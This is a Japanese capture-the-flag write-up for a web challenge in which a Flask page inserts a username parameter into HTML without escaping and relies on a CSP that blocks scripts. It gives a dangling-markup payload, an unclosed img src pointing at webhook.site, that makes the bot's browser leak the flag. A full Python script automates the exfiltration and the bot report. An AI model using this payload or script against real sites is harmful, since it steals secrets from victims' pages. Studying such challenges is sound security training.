Challenge

Javascriptなしでもフラグを取得できますか?

import re
from flask import Flask, request, Response

app = Flask(__name__)

@app.get("/")
def index():
    username = request.args.get("username", "guest")
    flag = request.cookies.get("flag", "no_flag")
    html = """<!doctype html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <p>Hello [[username]]!</p>
    <p>Your flag is here: [[flag]]</p>
    <form>
        <input name="username" placeholder="What's your name?"><br>
        <button type="submit">Render</button>
    </form>
</body></html>"""
    # Remove spaces/linebreaks
    html = re.sub(r">\\s+<", "><", html)

    # Simple templating system
    # Since Javascript is disabled, we shouldn't need to worry about XSS, right?
    html = html.replace("[[flag]]", flag)
    html = html.replace("[[username]]", username)

    response = Response(html, mimetype="text/html")
    # This Content-Security-Policy (or CSP) header prevents any Javascript from running!
    response.headers["Content-Security-Policy"] = "script-src 'none'"
    return response

Solution

CSPでJavascriptが禁止された状況で、botに表示内容をleakさせる問題です。

JS禁止でも外部にリクエストを飛ばす方法として、imgタグのsrcを向ける方法があります。

そして、srcの閉じクォートを使わず、パラメータとして後続の内容が続くようにしてしまえば、

次のクォートが現れるまで内容がリークします。

次の内容をusernameとして使います。

</p><img src='<https://webhook.site/TOKEN?leak=>

すると、

!</p>
    <p>Your flag is here: [[flag]]</p>
    <form>
        <input name="username" placeholder="What

がリークします。

Final Script

#!/usr/bin/env python3
import re
import time
from urllib.parse import quote, urlparse, parse_qs, unquote_plus

import requests

CHALLENGE = "<http://web:3000>"
BOT = "<http://34.170.146.252:42656>"

FLAG_RE = re.compile(r"Alpaca\\{[^}]+\\}")

def create_public_webhook_token() -> str:
    """
    Webhook.site に認証なしで Token(URL) を新規作成。
    これだと /token/{id}/requests が認証不要で取れることが多い。
    """
    r = requests.post("<https://webhook.site/token>", timeout=10)
    r.raise_for_status()
    token_id = r.json()["uuid"]
    print(f"[+] webhook token created: {token_id}")
    print(f"[+] webhook inbox: <https://webhook.site/#!/view/{token_id}>")
    return token_id

def build_malicious_url(challenge_url: str, webhook_token: str) -> str:
    """
    src のクオートを閉じずに dangling markup でHTML(=flag)をURLに吸い込ませる
    """
    challenge_url = challenge_url.rstrip("/")
    payload = f"</p><img src='<https://webhook.site/{webhook_token}?leak=>"
    return f"{challenge_url}/?username={quote(payload, safe='')}"

def submit_report(bot_url: str, target_url: str) -> None:
    bot_url = bot_url.rstrip("/")
    api = f"{bot_url}/api/report"
    r = requests.post(api, json={"url": target_url}, timeout=10)
    r.raise_for_status()
    print(f"[+] report sent: {r.text.strip()}")

def fetch_requests_public(token_id: str):
    """
    Get requests API(認証不要のトークン想定)
    """
    url = f"<https://webhook.site/token/{token_id}/requests?sorting=newest&per_page=20>"
    r = requests.get(url, headers={"Accept": "application/json"}, timeout=10)
    if r.status_code == 401:
        raise RuntimeError(
            "Webhook API が 401 でした。"
            " その token は認証必須になってます。"
            " このスクリプトは create_public_webhook_token() で作った token を使ってください。"
        )
    r.raise_for_status()
    return r.json().get("data", [])

def extract_flag(req: dict) -> str | None:
    # まず query 辞書から leak を拾う
    q = req.get("query") or {}
    if isinstance(q, dict) and "leak" in q:
        leak = unquote_plus(q.get("leak", ""))
        m = FLAG_RE.search(leak)
        if m:
            return m.group(0)

    # 念のため url 文字列からも拾う
    u = req.get("url", "")
    try:
        parsed = urlparse(u)
        qs = parse_qs(parsed.query)
        if "leak" in qs and qs["leak"]:
            leak = unquote_plus(qs["leak"][0])
            m = FLAG_RE.search(leak)
            if m:
                return m.group(0)
    except Exception:
        pass

    return None

def main():
    token = create_public_webhook_token()
    target = build_malicious_url(CHALLENGE, token)
    print(f"[+] target url:\\n{target}\\n")

    submit_report(BOT, target)

    print("[*] polling webhook.site ...")
    seen = set()
    deadline = time.time() + 60

    while time.time() < deadline:
        for req in fetch_requests_public(token):
            rid = req.get("uuid")
            if rid in seen:
                continue
            seen.add(rid)

            flag = extract_flag(req)
            if flag:
                print(f"[+] FLAG: {flag}")
                return

        time.sleep(1.0)

    print("[-] flag not found. webhook UI で確認してみてください:")
    print(f"    <https://webhook.site/#!/view/{token}>")

if __name__ == "__main__":
    main()